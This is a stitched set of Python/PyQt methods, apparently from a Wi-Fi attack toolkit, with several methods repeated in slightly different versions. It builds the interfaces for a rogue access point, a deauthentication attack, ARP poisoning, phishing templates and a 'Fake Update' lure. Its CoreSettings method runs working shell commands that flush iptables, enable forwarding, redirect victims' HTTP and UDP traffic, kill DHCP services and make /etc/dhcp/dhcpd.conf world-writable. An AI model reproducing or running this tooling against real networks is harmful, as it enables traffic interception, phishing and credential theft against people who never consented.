def mConfigure(self): self.get_interfaces = Refactor.get_interfaces() try: self.EditGateway.setText( [self.get_interfaces[x] for x in self.get_interfaces.keys() if x == 'gateway'][0]) except:pass self.EditApName.setText(self.FSettings.xmlSettings('AP', 'name',None,False)) self.EditChannel.setText(self.FSettings.xmlSettings('channel', 'mchannel',None,False)) self.PortRedirect = self.FSettings.xmlSettings('redirect', 'port',None,False) for i,j in enumerate(self.get_interfaces['all']): if search('wlan', j):self.selectCard.addItem(self.get_interfaces['all'][i]) driftnet = popen('which driftnet').read().split('\n') ettercap = popen('which ettercap').read().split('\n') dhcpd = popen('which dhcpd').read().split("\n") dnsmasq = popen('which dnsmasq').read().split("\n") lista = [ '/usr/sbin/airbase-ng', ettercap[0],driftnet[0],dhcpd[0],dnsmasq[0]] for i in lista:self.ProgramCheck.append(path.isfile(i))
def MacGUI(self): self.form_mac = QFormLayout() self.i_mac = QLineEdit(self) self.combo_card = QComboBox(self) self.btn_random = QPushButton("Random MAC") self.btn_random.setIcon(QIcon("rsc/refresh.png")) self.btn_save = QPushButton("Save") self.btn_save.setIcon(QIcon("rsc/Save.png")) self.btn_save.clicked.connect(self.change_macaddress) self.btn_random.clicked.connect(self.action_btn_random) self.cards = Refactor.get_interfaces()['all'] self.combo_card.addItems(self.cards) self.connect(self.combo_card, SIGNAL('activated(QString)'), self.combo_clicked) self.form_mac.addRow(self.combo_card,self.i_mac) self.form_mac.addRow("MAC Random: ", self.btn_random) self.form_mac.addRow(self.btn_save) self.Main.addLayout(self.form_mac) self.setLayout(self.Main)
def mConfigure(self): self.get_interfaces = Refactor.get_interfaces() try: self.EditGateway.setText([self.get_interfaces[x] for x in self.get_interfaces.keys() if x == "gateway"][0]) except: pass self.EditApName.setText(self.FSettings.xmlSettings("AP", "name", None, False)) self.EditChannel.setText(self.FSettings.xmlSettings("channel", "mchannel", None, False)) self.PortRedirect = self.FSettings.xmlSettings("redirect", "port", None, False) for i, j in enumerate(self.get_interfaces["all"]): if search("wlan", j): self.selectCard.addItem(self.get_interfaces["all"][i]) driftnet = popen("which driftnet").read().split("\n") ettercap = popen("which ettercap").read().split("\n") dhcpd = popen("which dhcpd").read().split("\n") dnsmasq = popen("which dnsmasq").read().split("\n") hostapd = popen("which hostapd").read().split("\n") lista = ["/usr/sbin/airbase-ng", ettercap[0], driftnet[0], dhcpd[0], dnsmasq[0], hostapd[0]] for i in lista: self.ProgramCheck.append(path.isfile(i))
def scan_diveces_airodump(self): dirpath = "Settings/Dump" if not path.isdir(dirpath): makedirs(dirpath) self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} exit_air = airdump_start(self.interface) self.fix = False if exit_air == None: self.cap = get_network_scan() if self.cap != None: for i in self.cap: i = i.split("||") if Refactor.check_is_mac(i[2]): Headers = [] self.data['Channel'].append(i[0]) self.data['Essid'].append(i[1]) self.data['Bssid'].append(i[2]) for n, key in enumerate(self.data.keys()): Headers.append(key) for m, item in enumerate(self.data[key]): item = QTableWidgetItem(item) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) self.tables.setItem(m, n, item) self.cap =[]
def discoveryIface(self): iface = str(self.ComboIface.currentText()) mac = Refactor.getHwAddr(iface) ip = Refactor.get_Ipaddr(iface) self.txt_mac.setText(mac) self.txt_redirect.setText(ip)
def combo_clicked(self, device): if device == "": self.i_mac.setText('Not Found') else: self.i_mac.setText(Refactor.get_interface_mac(device))
def CoreSettings(self): range_dhcp = self.config.xmlSettings('Iprange', 'range',None,False) self.PortRedirect = self.config.xmlSettings('redirect', 'port',None,False) self.SettingsAP = { 'interface': [ 'ifconfig %s up'%(self.Ap_iface), 'ifconfig %s 10.0.0.1 netmask 255.255.255.0'%(self.Ap_iface), 'ifconfig %s mtu 1400'%(self.Ap_iface), 'route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1' ], 'iptables': [ 'killall dhpcd', 'killall dnsmasq', 'iptables --flush', 'iptables --table nat --flush', 'iptables --delete-chain', 'iptables --table nat --delete-chain', 'echo 1 > /proc/sys/net/ipv4/ip_forward', 'iptables -P FORWARD ACCEPT', 'iptables -t nat -A PREROUTING -p udp -j DNAT --to %s'%(self.EditGateway.text()), 'iptables --append FORWARD --in-interface %s -j ACCEPT'%(self.Ap_iface), 'iptables --table nat --append POSTROUTING --out-interface '+str(Refactor.get_interfaces()['activated'])+' -j MASQUERADE', 'iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port '+self.PortRedirect, #'iptables -t -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination ' +Refactor.get_interfaces()['IPaddress'], 'iptables -t nat -A POSTROUTING -j MASQUERADE', 'touch /var/run/dhcpd.pid', 'chmod 777 /etc/dhcp/dhcpd.conf', ], 'dhcp-server': [ 'authoritative;\n', 'default-lease-time 600;\n', 'max-lease-time 7200;\n', 'subnet 10.0.0.0 netmask 255.255.255.0 {\n', 'option routers 10.0.0.1;\n', 'option subnet-mask 255.255.255.0;\n', 'option domain-name \"%s\";\n'%(str(self.EditApName.text())), 'range %s;\n'% range_dhcp, '}', ], 'dnsmasq': [ 'interface=%s\n'%(self.Ap_iface), 'dhcp-range=10.0.0.10,10.0.0.50,12h\n', 'server=8.8.8.8\n', 'server=8.8.4.4\n', ] } for i in self.SettingsAP['interface']:popen(i) for i in self.SettingsAP['iptables']:popen(i) dhcp_select = self.config.xmlSettings('dhcp','dhcp_server',None,False) if dhcp_select != 'dnsmasq': with open('Settings/dhcpd.conf','w') as dhcp: for i in self.SettingsAP['dhcp-server']: dhcp.write(i) dhcp.close() if path.isfile('/etc/dhcp/dhcpd.conf'): system('rm /etc/dhcp/dhcpd.conf') move('Settings/dhcpd.conf', '/etc/dhcp/') else: with open('Settings/dnsmasq.conf','w') as dhcp: for i in self.SettingsAP['dnsmasq']: dhcp.write(i) dhcp.close()
def refrash_interface(self): self.selectCard.clear() n = Refactor.get_interfaces()['all'] for i,j in enumerate(n): if search('wlan', j): self.selectCard.addItem(n[i])
def window_qt(self): self.mForm = QFormLayout() self.statusbar = QStatusBar() system = QLabel("Deauthentication::") self.statusbar.addWidget(system) self.Controlador = QLabel("") self.AttackStatus(False) self.tables = QTableWidget(5, 3) self.tables.setFixedWidth(350) self.tables.setRowCount(100) self.tables.setFixedHeight(250) self.tables.setSelectionBehavior(QAbstractItemView.SelectRows) self.tables.setEditTriggers(QAbstractItemView.NoEditTriggers) self.tables.clicked.connect(self.select_target) self.tables.resizeColumnsToContents() self.tables.resizeRowsToContents() self.tables.horizontalHeader().resizeSection(1, 120) self.tables.horizontalHeader().resizeSection(0, 60) self.tables.horizontalHeader().resizeSection(2, 158) self.tables.verticalHeader().setVisible(False) Headers = [] for n, key in enumerate(self.data.keys()): Headers.append(key) self.tables.setHorizontalHeaderLabels(Headers) self.linetarget = QLineEdit(self) self.input_client = QLineEdit(self) self.input_client.setText("FF:FF:FF:FF:FF:FF") self.btn_enviar = QPushButton("Send Attack", self) self.btn_enviar.clicked.connect(self.attack_deauth) self.btn_scan = QPushButton(" Network Scan ", self) self.btn_scan.clicked.connect(self.SettingsScan) self.btn_stop = QPushButton("Stop Attack ", self) self.btn_stop.clicked.connect(self.kill_thread) self.btn_enviar.setFixedWidth(170) self.btn_stop.setFixedWidth(170) self.btn_scan.setFixedWidth(120) #icons self.btn_scan.setIcon(QIcon("rsc/network.png")) self.btn_enviar.setIcon(QIcon("rsc/start.png")) self.btn_stop.setIcon(QIcon("rsc/Stop.png")) self.time_scan = QComboBox(self) self.time_scan.addItem("10s") self.time_scan.addItem("20s") self.time_scan.addItem("30s") self.get_placa = QComboBox(self) n = Refactor.get_interfaces()['all'] for i, j in enumerate(n): if search("wlan", j): self.get_placa.addItem(n[i]) #grid options self.Grid = QGridLayout() self.options_scan = self.xmlcheck.xmlSettings("scanner_AP", "select", None, False) if self.options_scan != "scan_scapy": self.time_scan.setEnabled(False) self.Grid.addWidget(QLabel("Time:"), 0, 0) self.Grid.addWidget(self.time_scan, 0, 1) self.Grid.addWidget(self.get_placa, 0, 2) self.Grid.addWidget(self.btn_scan, 0, 3) self.Grid.addWidget(self.btn_scan, 0, 3) self.Grid.addWidget(QLabel("bssid:"), 1, 0) self.Grid.addWidget(QLabel(" Client:"), 1, 2) self.Grid.addWidget(self.linetarget, 1, 1) self.Grid.addWidget(self.input_client, 1, 3) self.form0 = QGridLayout() self.form0.addWidget(self.tables, 0, 0) self.mForm.addRow(self.btn_enviar, self.btn_stop) self.mForm.addRow(self.statusbar) self.Main.addLayout(self.form0) self.Main.addLayout(self.Grid) self.Main.addLayout(self.mForm) self.setLayout(self.Main)
def loadCard(self): n = Refactor.get_interfaces()['all'] for i, j in enumerate(n): if search("wlan", j): self.get_placa.addItem(n[i])
def refrash_interface(self): self.get_placa.clear() n = Refactor.get_interfaces()['all'] for i, j in enumerate(n): if search('wlan', j): self.get_placa.addItem(n[i])
def GUI(self): self.form = QFormLayout() self.movie = QMovie('rsc/loading2.gif', QByteArray(), self) size = self.movie.scaledSize() self.setGeometry(200, 200, size.width(), size.height()) self.movie_screen = QLabel() self.movie_screen.setFixedHeight(200) self.movie_screen.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding) self.movie_screen.setAlignment(Qt.AlignCenter) self.movie.setCacheMode(QMovie.CacheAll) self.movie.setSpeed(100) self.movie_screen.setMovie(self.movie) self.movie_screen.setDisabled(False) self.movie.start() self.tables = QTableWidget(5, 3) self.tables.setRowCount(100) self.tables.setFixedHeight(200) self.tables.setSelectionBehavior(QAbstractItemView.SelectRows) self.tables.setEditTriggers(QAbstractItemView.NoEditTriggers) self.tables.clicked.connect(self.list_clicked_scan) self.tables.resizeColumnsToContents() self.tables.resizeRowsToContents() self.tables.horizontalHeader().resizeSection(1, 120) self.tables.horizontalHeader().resizeSection(0, 145) self.tables.horizontalHeader().resizeSection(2, 158) self.tables.verticalHeader().setVisible(False) Headers = [] for key in reversed(self.data.keys()): Headers.append(key) self.tables.setHorizontalHeaderLabels(Headers) self.txt_target = QLineEdit(self) self.txt_gateway = QLineEdit(self) self.txt_redirect = QLineEdit(self) self.txt_mac = QLineEdit(self) self.ip_range = QLineEdit(self) self.txt_status_scan = QLabel('') self.txt_statusarp = QLabel('') self.txt_status_phishing = QLabel('') self.StatusMonitor(False, 'stas_scan') self.StatusMonitor(False, 'stas_arp') self.StatusMonitor(False, 'stas_phishing') scan_range = self.configure.xmlSettings('scan', 'rangeIP', None, False) self.ip_range.setText(scan_range) self.btn_start_scanner = QPushButton('Scan') self.btn_stop_scanner = QPushButton('Stop') self.btn_Attack_Posion = QPushButton('Start Attack') self.btn_Stop_Posion = QPushButton('Stop Attack') self.btn_server = QPushButton('Templates') self.btn_windows_update = QPushButton('Fake Update') self.btn_server.setFixedHeight(22) self.btn_stop_scanner.setFixedWidth(100) self.btn_start_scanner.setFixedWidth(100) self.btn_start_scanner.setFixedHeight(22) self.btn_stop_scanner.setFixedHeight(22) self.btn_windows_update.setFixedHeight(22) self.btn_start_scanner.clicked.connect(self.Start_scan) self.btn_stop_scanner.clicked.connect(self.Stop_scan) self.btn_Attack_Posion.clicked.connect(self.Start_Attack) self.btn_Stop_Posion.clicked.connect(self.kill_attack) self.btn_server.clicked.connect(self.show_template_dialog) self.btn_windows_update.clicked.connect(self.show_frm_fake) #icons self.btn_start_scanner.setIcon(QIcon('rsc/network.png')) self.btn_Attack_Posion.setIcon(QIcon('rsc/start.png')) self.btn_Stop_Posion.setIcon(QIcon('rsc/Stop.png')) self.btn_stop_scanner.setIcon(QIcon('rsc/network_off.png')) self.btn_server.setIcon(QIcon('rsc/page.png')) self.btn_windows_update.setIcon(QIcon('rsc/winUp.png')) self.grid0 = QGridLayout() self.grid0.minimumSize() self.grid0.addWidget(QLabel('ArpPosion:'), 0, 2) self.grid0.addWidget(QLabel('Phishing:'), 0, 4) self.grid0.addWidget(QLabel('Scanner:'), 0, 0) self.grid0.addWidget(self.txt_status_scan, 0, 1) self.grid0.addWidget(self.txt_statusarp, 0, 3) self.grid0.addWidget(self.txt_status_phishing, 0, 5) # grid options self.grid1 = QGridLayout() self.grid1.addWidget(self.btn_start_scanner, 0, 0) self.grid1.addWidget(self.btn_stop_scanner, 0, 1) self.grid1.addWidget(self.btn_server, 0, 2) self.grid1.addWidget(self.btn_windows_update, 0, 3) #btn self.grid2 = QGridLayout() self.grid2.addWidget(self.btn_Attack_Posion, 1, 0) self.grid2.addWidget(self.btn_Stop_Posion, 1, 5) x = self.interfaces if x['gateway'] != None: self.txt_gateway.setText(x['gateway']) self.txt_redirect.setText(x['IPaddress']) self.txt_mac.setText(Refactor.getHwAddr(x['activated'])) self.form0 = QGridLayout() self.form0.addWidget(self.movie_screen, 0, 0) self.form0.addWidget(self.tables, 0, 0) self.form.addRow(self.form0) self.form.addRow(self.grid1) self.form.addRow('Target:', self.txt_target) self.form.addRow('Gateway:', self.txt_gateway) self.form.addRow('MAC address:', self.txt_mac) self.form.addRow('Redirect IP:', self.txt_redirect) self.form.addRow('IP ranger Scan:', self.ip_range) self.form.addRow(self.grid0) self.form.addRow(self.grid2) self.Main.addLayout(self.form) self.setLayout(self.Main)